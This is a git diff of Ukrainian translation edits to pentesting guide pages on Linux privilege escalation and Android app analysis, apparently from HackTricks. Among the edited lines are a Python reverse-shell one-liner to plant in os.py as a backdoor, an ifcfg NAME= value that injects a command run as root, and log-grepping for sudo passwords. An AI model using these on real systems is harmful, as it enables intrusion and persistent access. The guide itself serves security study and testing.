ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — це програма з відкритим кодом, що дозволяє витягувати велику кількість паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. +Перегляньте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **кілька можливих файлів, які можуть містити паролі**.\ +**Ще один цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — це програма з відкритим кодом, що використовується для витягання великої кількості паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. ### Логи -Якщо ви можете читати логи, ви можете знайти в них **цікаву/конфіденційну інформацію**. Чим дивніший лог, тим цікавішим він, ймовірно, буде.\ -Також деякі **погано** сконфігуровані (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередині audit logs, як описано в цій статті: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Якщо ви можете читати логи, ви можете знайти в них **цікаву/конфіденційну інформацію**. Чим дивніший лог, тим цікавішим він, ймовірно.\ +Також деякі "**погано**" налаштовані (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередину audit logs, як описано в цій публікації: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` Щоб читати логи, група [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною. -### Shell files +### Shell файли ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1348,43 +1358,43 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -Ви також повинні перевіряти файли, які містять слово "**password**" у своїй **назві** або в **вмісті**, а також шукати IP-адреси та електронні адреси в логах або регулярні вирази для хешів.\ -Я не буду тут перераховувати, як усе це робити, але якщо вам цікаво, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Вам також слід перевіряти файли, які містять слово "**password**" у **назві** або в **вмісті**, а також шукати IPs та emails у логах або hashes regexps.\ +Я не збираюся тут перераховувати, як це все робити, але якщо вам цікаво, можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). ## Файли, доступні для запису ### Python library hijacking -Якщо ви знаєте, **звідки** буде виконано python script і ви **можете записувати в** цю папку або ви можете **modify python libraries**, ви можете змінити OS library і backdoor it (якщо ви можете записати туди, де буде виконуватися python script, скопіюйте і вставте os.py library). +If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). -Щоб **backdoor the library**, просто додайте в кінець os.py library наступний рядок (змініть IP та PORT): +Щоб **backdoor the library**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP і PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Експлуатація Logrotate -Уразливість в `logrotate` дозволяє користувачам з **дозволом на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це пов'язано з тим, що `logrotate`, що часто запускається від імені **root**, можна змусити виконати довільні файли, особливо в директоріях на кшталт _**/etc/bash_completion.d/**_. Важливо перевіряти права не лише в _/var/log_, але й у будь-якій директорії, де застосовується ротація логів. +Уразливість у `logrotate` дозволяє користувачам з **правами запису** у файл логу або в одному з батьківських каталогів потенційно отримати підвищені привілеї. Це відбувається тому, що `logrotate`, який часто запускається від імені **root**, можна змусити виконувати довільні файли, особливо у каталогах на кшталт _**/etc/bash_completion.d/**_. Важливо перевіряти дозволи не лише в _/var/log_, але й у будь-якому каталозі, де застосовується ротація логів. > [!TIP] -> Ця уразливість стосується версії `logrotate` `3.18.0` і старіших +> Ця вразливість впливає на `logrotate` версії `3.18.0` та старіші -Детальнішу інформацію про уразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Більш детальну інформацію про вразливість можна знайти на сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Цю уразливість можна експлуатувати за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). +Ви можете експлуатувати цю вразливість за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). -Ця уразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тому коли ви виявите можливість змінювати логи, перевірте, хто їх управляє, і чи можна підвищити привілеї, підмінюючи логи символьними посиланнями. +Ця вразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тому коли ви знаходите можливість змінювати логи, перевірте, хто керує цими логами, і чи можна підвищити привілеї, підставивши логи як symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +Якщо з будь-якої причини користувач може **записати** скрипт `ifcf-` у _/etc/sysconfig/network-scripts_ **або** може **змінити** існуючий — то ваша **system is pwned**. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ наприклад, використовуються для мережевих з’єднань. Вони виглядають точно як .INI файли. Однак вони ~sourced~ на Linux за допомогою Network Manager (dispatcher.d). -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. +У моєму випадку атрибут `NAME=` у цих network scripts обробляється некоректно. Якщо в імені є **пробіл/порожній символ, система намагається виконати частину після пробілу**. Це означає, що **все після першого пробілу виконується як root**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Наприклад: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes @@ -1394,13 +1404,13 @@ DEVICE=eth0 ### **init, init.d, systemd та rc.d** -Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit), **класичної системи керування сервісами Linux**. Тут є скрипти для `start`, `stop`, `restart` і іноді `reload` сервісів. Їх можна виконувати безпосередньо або через символічні посилання у `/etc/rc?.d/`. Альтернативний шлях у системах Redhat — `/etc/rc.d/init.d`. +Каталог `/etc/init.d` містить **scripts** для System V init (SysVinit), **classic Linux service management system**. У ньому є скрипти для `start`, `stop`, `restart`, а іноді й `reload` сервісів. Їх можна виконувати безпосередньо або через символічні посилання в `/etc/rc?.d/`. Альтернативний шлях у системах Redhat — `/etc/rc.d/init.d`. -З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою системою **керування сервісами**, введеною в Ubuntu, яка використовує конфігураційні файли для задач керування сервісами. Незважаючи на перехід до Upstart, скрипти SysVinit все ще використовуються разом із конфігураціями Upstart через рівень сумісності в Upstart. +З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою системою **service management**, впровадженою Ubuntu, яка використовує конфігураційні файли для керування сервісами. Незважаючи на перехід на Upstart, скрипти SysVinit все ще використовуються поряд із конфігураціями Upstart через шар сумісності в Upstart. -**systemd** є сучасним ініціалізатором і менеджером сервісів, що пропонує розширені можливості, такі як запуск демонів за потребою, керування автоматичним монтуванням та знімки стану системи. Воно організовує файли в `/usr/lib/systemd/` для пакетів дистрибутива та в `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи адміністрування системи. +**systemd** постає як сучасний ініціалізатор та менеджер сервісів, що пропонує розширені можливості, такі як запуск демона за вимогою, управління automount та знімки стану системи. Він організовує файли у `/usr/lib/systemd/` для пакетів дистрибутива і в `/etc/systemd/system/` для змін адміністратора, спрощуючи процес адміністрування системи. -## Інші прийоми +## Other Tricks ### NFS Privilege escalation @@ -1425,7 +1435,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks зазвичай перехоплюють syscall, щоб надати привілейовану функціональність ядра userspace manager-у. Слабка аутентифікація manager-а (наприклад, перевірки підпису, засновані на FD-order, або ненадійні схеми паролів) може дозволити локальному додатку видавати себе за manager-а та ескалювати до root на вже рутованих пристроях. Докладніше та деталі експлуатації див. тут: +Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: {{#ref}} @@ -1437,13 +1447,13 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Додаткова допомога +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Найкращий інструмент для пошуку Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1456,7 +1466,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Посилання +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 7b0d539e6..a5fbcdfd0 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Pentesting Android-застосунків +# Додатки Android Pentesting {{#include ../../banners/hacktricks-training.md}} -## Основи Android-застосунків +## Основи додатків Android -Рекомендується почати з прочитання цієї сторінки, щоб дізнатися про **найважливіші частини, пов'язані з безпекою Android, та найбільш небезпечні компоненти в Android-застосунку**: +Рекомендується почати з цієї сторінки, щоб дізнатися про **найважливіші компоненти, пов'язані з безпекою Android, та найбільш небезпечні складові в Android-додатку**: {{#ref}} @@ -13,15 +13,15 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -Це основний інструмент, який потрібен для підключення до Android-пристрою (емулятор чи фізичний).\ -**ADB** дозволяє керувати пристроями через **USB** або **Network** з комп'ютера. Ця утиліта дає змогу **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** shell-команди, **робити резервні копії** даних, **читати** логи та виконувати інші функції. +This is the main tool you need to connect to an android device (emulated or physical).\ +**ADB** дозволяє керувати пристроями по **USB** або **Network** з комп'ютера. Ця утиліта дозволяє **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** apps, **виконувати** shell-команди, **резервно зберігати** дані, **читати** logs, та інші функції. -Перегляньте наступний список [**ADB Commands**](adb-commands.md), щоб дізнатися, як користуватися adb. +Перегляньте наступний список [**ADB Commands**](adb-commands.md), щоб дізнатися, як використовувати adb. ## Smali -Іноді цікаво **змінити код додатка**, щоб отримати доступ до **прихованої інформації** (наприклад, добре обфусцованих паролів або флагів). Тоді може бути корисно декомпілювати apk, змінити код і перекомпілювати його.\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Отже, **завжди пам'ятайте про цю можливість**. +Іноді буває цікаво **змінити код додатку**, щоб отримати доступ до **прихованої інформації** (можливо добре обфусцовані паролі або flags). Тоді може бути цікаво декомпілювати the apk, змінити код і перекомпілювати його.\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, що будуть представлені. Тому **завжди майте на увазі цю можливість**. ## Інші цікаві трюки @@ -29,8 +29,8 @@ android-applications-basics.md - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) -- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- Витягти APK з пристрою: +- **Завантажити APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) +- Витягнути APK з пристрою: ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- Об'єднайте всі splits та base apks за допомогою [APKEditor](https://github.com/REAndroid/APKEditor): +- Об'єднайте всі splits і base apks за допомогою [APKEditor](https://github.com/REAndroid/APKEditor): ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -63,40 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ## Статичний аналіз -Перш за все, для аналізу APK слід **подивитися на Java code** за допомогою decompiler.\ -Please, [**read here to find information about different available decompilers**](apk-decompilers.md). +По-перше, для аналізу APK слід **переглянути Java-код** за допомогою decompiler.\ +Будь ласка, [**прочитайте тут, щоб знайти інформацію про різні доступні decompilers**](apk-decompilers.md). ### Пошук цікавої інформації -Просто переглянувши **strings** APK, можна шукати **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** та все, що цікаве... перевіряйте навіть на наявність code execution **backdoors** або authentication backdoors (hardcoded admin credentials до додатку). +Просто переглянувши **strings** у APK, можна шукати **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** та все, що може бути цікавим... шукайте навіть code execution **backdoors** або authentication backdoors (жорстко вбудовані admin credentials у додатку). **Firebase** -Зверніть особливу увагу на **firebase URLs** та перевірте, чи не налаштовано його неправильно. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Зверніть особливу увагу на **firebase URLs** і перевірте, чи вони неправильно налаштовані. [Більше інформації про те, що таке Firebase і як його експлуатувати тут.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Базове розуміння застосунку - Manifest.xml, strings.xml -The **examination of an application's _Manifest.xml_ and **_strings.xml_** files can reveal potential security vulnerabilities**. Ці файли можна отримати за допомогою decompilers або перейменувавши розширення файлу APK на .zip і розпакувавши його. +Дослідження файлів застосунку _Manifest.xml_ та _strings.xml_ може виявити потенційні вразливості. Ці файли можна отримати за допомогою decompilers або перейменувавши розширення APK на .zip і розпакувавши його. -**Вразливості**, виявлені у **Manifest.xml**, включають: +**Вразливості**, які можна виявити в **Manifest.xml**, включають: -- **Debuggable Applications**: Applications, встановлені як debuggable (`debuggable="true"`) у файлі _Manifest.xml_ становлять ризик, оскільки дозволяють з'єднання, що можуть призвести до експлуатації. Для детальнішого розуміння того, як експлуатувати debuggable applications, зверніться до tutorial про пошук і експлуатацію debuggable applications на пристрої. -- **Backup Settings**: Атрибут `android:allowBackup="false"` має бути явно встановлений для додатків, що працюють з чутливою інформацією, щоб запобігти несанкціонованому резервному копіюванню даних через adb, особливо коли usb debugging увімкнено. -- **Network Security**: Custom network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати деталі безпеки, такі як certificate pins і налаштування HTTP-трафіку. Наприклад, можна дозволити HTTP-трафік для певних доменів. -- **Exported Activities and Services**: Виявлення exported activities and services у manifest може вказати на компоненти, якими можуть зловживати. Подальший аналіз під час dynamic testing може показати, як експлуатувати ці компоненти. -- **Content Providers and FileProviders**: Відкриті content providers можуть дозволити несанкціонований доступ або зміну даних. Конфігурацію FileProviders також слід ретельно перевіряти. -- **Broadcast Receivers and URL Schemes**: Ці компоненти можуть бути використані для експлуатації, з особливою увагою до того, як URL schemes обробляються для можливих векторів введення. -- **SDK Versions**: Атрибути `minSdkVersion`, `targetSDKVersion` і `maxSdkVersion` вказують на підтримувані версії Android, наголошуючи на важливості уникнення підтримки застарілих, вразливих версій Android з міркувань безпеки. +- **Debuggable Applications**: Застосунки, які мають `debuggable="true"` у _Manifest.xml_, становлять ризик, оскільки вони дозволяють підключення, що може призвести до експлуатації. Для подальшого розуміння того, як експлуатувати debuggable застосунки, зверніться до керівництва з пошуку та експлуатації debuggable застосунків на пристрої. +- **Backup Settings**: Атрибут `android:allowBackup="false"` слід явно встановлювати для застосунків, що працюють з чутливою інформацією, щоб запобігти несанкціонованому резервному копіюванню даних через adb, особливо коли увімкнено usb debugging. +- **Network Security**: Користувацькі налаштування network security (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати параметри безпеки, як-от certificate pins та налаштування HTTP traffic. Наприклад, дозволи для HTTP-трафіку для певних доменів. +- **Exported Activities and Services**: Виявлення exported activities і services у manifest може вказати на компоненти, які можна зловживати. Подальший аналіз під час динамічного тестування може показати, як експлуатувати ці компоненти. +- **Content Providers and FileProviders**: Відкриті content providers можуть дозволити несанкціонований доступ або зміну даних. Слід ретельно перевірити конфігурацію FileProviders. +- **Broadcast Receivers and URL Schemes**: Ці компоненти можуть бути використані для експлуатації, особливо звертайте увагу на те, як обробляються URL schemes для можливих вразливостей вводу. +- **SDK Versions**: Атрибути `minSdkVersion`, `targetSDKVersion` і `maxSdkVersion` вказують підтримувані версії Android, підкреслюючи важливість уникнення підтримки застарілих, уразливих версій Android. -З файлу **strings.xml** можна знайти чутливу інформацію, таку як API keys, custom schemas та інші developer notes, що підкреслює необхідність ретельного перегляду цих ресурсів. +З файлу **strings.xml** можна знайти чутливу інформацію, таку як API keys, custom schemas та інші примітки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів. ### Tapjacking -**Tapjacking** — це атака, коли **malicious application** запускається і розташовується поверх victim application. Коли воно візуально закриває victim app, його інтерфейс користувача спроектований так, щоб обманути користувача взаємодіяти з ним, водночас передаючи взаємодію жертві.\ -Фактично, це **осліплює користувача, не даючи йому знати, що він насправді виконує дії у victim app**. - -Find more information in: +**Tapjacking** — це атака, коли **зловмисний додаток** запускається й **розміщується поверх додатку-жертви**. Коли воно візуально затуляє жертву, його інтерфейс спроектовано так, щоб обдурити користувача і змусити його взаємодіяти з ним, тоді як взаємодія передається до додатку-жертви.\ +Фактично, це **позбавляє користувача можливості знати, що він насправді виконує дії у додатку-жертві**. +Детальніше в: {{#ref}} tapjacking.md @@ -104,78 +103,77 @@ tapjacking.md ### Task Hijacking -Activity з `launchMode`, встановленим у `singleTask` без визначеного `taskAffinity`, вразлива до Task Hijacking. Це означає, що зловмисний **application** може бути встановлений і, якщо запущений перед реальним додатком, може **hijack the task** реального додатка (тому користувач взаємодіятиме з **malicious application**, думаючи, що використовує справжній). - -More info in: +Activity з `launchMode`, встановленим у `singleTask` без визначеного `taskAffinity`, уразлива до Task Hijacking. Це означає, що шкідливий додаток може бути встановлений і, якщо його запустити перед реальним додатком, він може **перехопити task реального додатку** (тому користувач взаємодіятиме зі **зловмисним додатком, думаючи, що використовує реальний**). +Детальніше в: {{#ref}} android-task-hijacking.md {{#endref}} -### Insecure data storage +### Небезпечне збереження даних **Internal Storage** -В Android файли, що зберігаються у internal storage, призначені бути доступними виключно для app, який їх створив. Цей захід безпеки застосовується операційною системою Android і зазвичай є достатнім для потреб безпеки більшості застосунків. Проте розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб дозволити sharing файлів між різними applications. Однак ці режими **не обмежують доступ** до цих файлів іншими applications, включно з потенційно malicious ones. +У Android файли, що зберігаються у внутрішньому сховищі, призначені бути доступними виключно для додатку, який їх створив. Цей захід безпеки примусово застосовується операційною системою Android і загалом відповідає потребам безпеки більшості додатків. Проте розробники іноді використовують режими на кшталт `MODE_WORLD_READABLE` та `MODE_WORLD_WRITABLE`, щоб дозволити спільний доступ до файлів між різними додатками. Однак ці режими **не обмежують доступ** до цих файлів іншими додатками, у тому числі потенційно шкідливими. 1. **Static Analysis:** -- **Ensure** що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевіряється**. Ці режими **можуть потенційно розкрити** файли для **непередбаченого або несанкціонованого доступу**. +- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` ретельно перевіряється. Ці режими **можуть потенційно зробити файли доступними** для небажаного або несанкціонованого доступу. 2. **Dynamic Analysis:** -- **Verify** права доступу, встановлені на файлах, створених додатком. Зокрема, **перевіряйте**, чи будь-які файли **встановлені як readable або writable worldwide**. Це може становити значний ризик безпеки, оскільки дозволить **будь-якому application**, встановленому на пристрої, незалежно від його походження чи намірів, **читати або змінювати** ці файли. +- **Перевірте** дозволи на файли, створені додатком. Зокрема, **перевірте**, чи встановлені які-небудь файли як доступні для читання або запису для всіх. Це може становити значний ризик безпеки, оскільки дозволяє **будь-якому додатку**, встановленому на пристрої, незалежно від його походження чи намірів, **читати або змінювати** ці файли. **External Storage** -При роботі з файлами на external storage, такими як SD Cards, слід врахувати певні заходи безпеки: +При роботі з файлами на external storage, таких як SD Cards, слід врахувати такі застереження: -1. **Accessibility**: -- Файли на external storage є **глобально читаними і записуваними**. Це означає, що будь-який application або користувач може отримати до них доступ. -2. **Security Concerns**: -- Через легкість доступу не радиться зберігати чутливу інформацію на external storage. -- External storage може бути вилучено або доступне будь-якому application, що робить його менш захищеним. -3. **Handling Data from External Storage**: -- Завжди **виконуйте валідацію введення** для даних, отриманих з external storage. Це критично важливо, оскільки дані надходять з недовіреного джерела. -- Не рекомендується зберігати виконувані файли або class files на external storage для динамічного завантаження. -- Якщо ваш додаток має отримувати виконувані файли з external storage, переконайтеся, що ці файли **підписані і криптографічно перевірені** перед їх динамічним завантаженням. Цей крок є вирішальним для підтримки цілісності безпеки вашого додатку. +1. **Доступність**: +- Файли на external storage зазвичай **загально доступні для читання і запису**. Це означає, що будь-який додаток або користувач може отримати до них доступ. +2. **Питання безпеки**: +- Через простоту доступу не рекомендується зберігати на external storage чутливу інформацію. +- External storage можна вийняти або до нього може отримати доступ будь-який додаток, що робить його менш безпечним. +3. **Обробка даних з external storage**: +- Завжди **виконуйте валідацію вводу** для даних, отриманих з external storage. Це критично, оскільки дані походять з ненадійного джерела. +- Не рекомендується зберігати виконувані файли або class-файли на external storage для динамічного завантаження. +- Якщо ваш додаток все ж має отримувати виконувані файли з external storage, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед динамічним завантаженням. Цей крок є важливим для збереження цілісності безпеки вашого додатку. -External storage можна **доступитися** в `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` +External storage можна **знайти** в `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard` > [!TIP] -> Починаючи з Android 4.4 (**API 17**), SD card має структуру директорій, яка **обмежує доступ додатку лише до директорії, яка призначена спеціально для цього додатку**. Це перешкоджає malicious application отримати доступ для читання або запису до файлів іншого додатку. +> Починаючи з Android 4.4 (**API 17**), структура директорій на SD-карті **обмежує доступ додатка лише до каталогу, призначеного конкретно для цього додатка**. Це запобігає тому, щоб шкідливий додаток отримав доступ для читання або запису файлів іншого додатку. -**Чутливі дані, збережені у відкритому тексті** +**Чутливі дані, збережені у відкритому вигляді** -- **Shared preferences**: Android дозволяє кожному application легко зберігати xml-файли за шляхом `/data/data//shared_prefs/` і іноді в цій папці можна знайти чутливу інформацію у clear-text. -- **Databases**: Android дозволяє кожному application легко зберігати sqlite databases за шляхом `/data/data//databases/` і іноді в цій папці можна знайти чутливу інформацію у clear-text. +- **Shared preferences**: Android дозволяє кожному додатку зручно зберігати xml-файли за шляхом `/data/data//shared_prefs/`, і іноді у цій папці можна знайти чутливу інформацію у відкритому вигляді. +- **Databases**: Android дозволяє кожному додатку зручно зберігати sqlite бази даних за шляхом `/data/data//databases/`, і іноді у цій папці можна знайти чутливу інформацію у відкритому вигляді. -### Broken TLS +### Проблеми з TLS **Accept All Certificates** -З якоїсь причини іноді розробники приймають всі certificates навіть якщо, наприклад, hostname не збігається, з рядками коду, подібними до наступного: +З якоїсь причини іноді розробники приймають усі сертифікати, навіть якщо, наприклад, hostname не збігається, з рядками коду на кшталт наступного: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -### Ненадійна криптографія +### Неправильна криптографія **Погані процеси управління ключами** -Деякі розробники зберігають чутливі дані в локальному сховищі і шифрують їх ключем, вбудованим/передбачуваним у коді. Так робити не слід, оскільки при зворотній інженерії атакуючі можуть витягти конфіденційну інформацію. +Деякі розробники зберігають конфіденційні дані у локальному сховищі й шифрують їх ключем, який закодовано в коді або є передбачуваним (hardcoded/predictable). Так не слід робити, оскільки деякий reversing може дозволити атакувальникам витягти конфіденційну інформацію. -**Використання небезпечних та/або застарілих алгоритмів** +**Використання небезпечних і/або застарілих алгоритмів** -Розробники не повинні використовувати **deprecated algorithms** для виконання перевірок авторизації, зберігання або відправлення даних. Деякі з цих алгоритмів: RC4, MD4, MD5, SHA1... Якщо, наприклад, для зберігання паролів використовуються **хеші**, слід застосовувати хеші, стійкі до брутфорсу, з використанням salt. +Розробникам не слід використовувати **deprecated algorithms** для виконання авторизаційних перевірок, збереження або відправки даних. Деякі з таких алгоритмів: RC4, MD4, MD5, SHA1... Якщо для збереження паролів використовуються **hashes**, слід застосовувати стійкі до **brute-force** hashes з salt. ### Інші перевірки -- Рекомендується **обфускувати APK**, щоб ускладнити роботу реверс-інженерам/атакуючим. -- Якщо додаток чутливий (наприклад банківські додатки), він повинен виконувати власні перевірки, щоб визначити, чи пристрій є **rooted**, і діяти відповідно. -- Якщо додаток чутливий (наприклад банківські додатки), він повинен перевіряти, чи використовується **emulator**. -- Якщо додаток чутливий (наприклад банківські додатки), він повинен **перевіряти власну цілісність перед виконанням**, щоб з'ясувати, чи його було змінено. -- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK +- Рекомендується **obfuscate the APK**, щоб ускладнити роботу reverse engineer для атакувальників. +- Якщо додаток є критичним (наприклад банківський), він має виконувати власні перевірки, щоб визначити, чи мобільний пристрій rooted, і діяти відповідно. +- Якщо додаток є критичним (наприклад банківський), він має перевіряти, чи використовується **emulator**. +- Якщо додаток є критичним (наприклад банківський), він має **check it's own integrity before executing** щоб перевірити, чи не було його змінено. +- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який compiler/packer/obfuscator був використаний для збірки APK ### React Native Application @@ -216,7 +214,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains bypass-biometric-authentication-android.md {{#endref}} -### Other interesting functions +### Інші цікаві функції - **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` @@ -234,23 +232,23 @@ content-protocol.md --- -## Динамічний аналіз +## Динамічний Аналіз -> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. +> Перш за все, вам потрібне середовище, де можна встановити додаток та всі інструменти (Burp CA cert, Drozer and Frida головним чином). Тому настійно рекомендується rooted пристрій (емулятор чи ні). ### Онлайн динамічний аналіз -You can create a **free account** in: 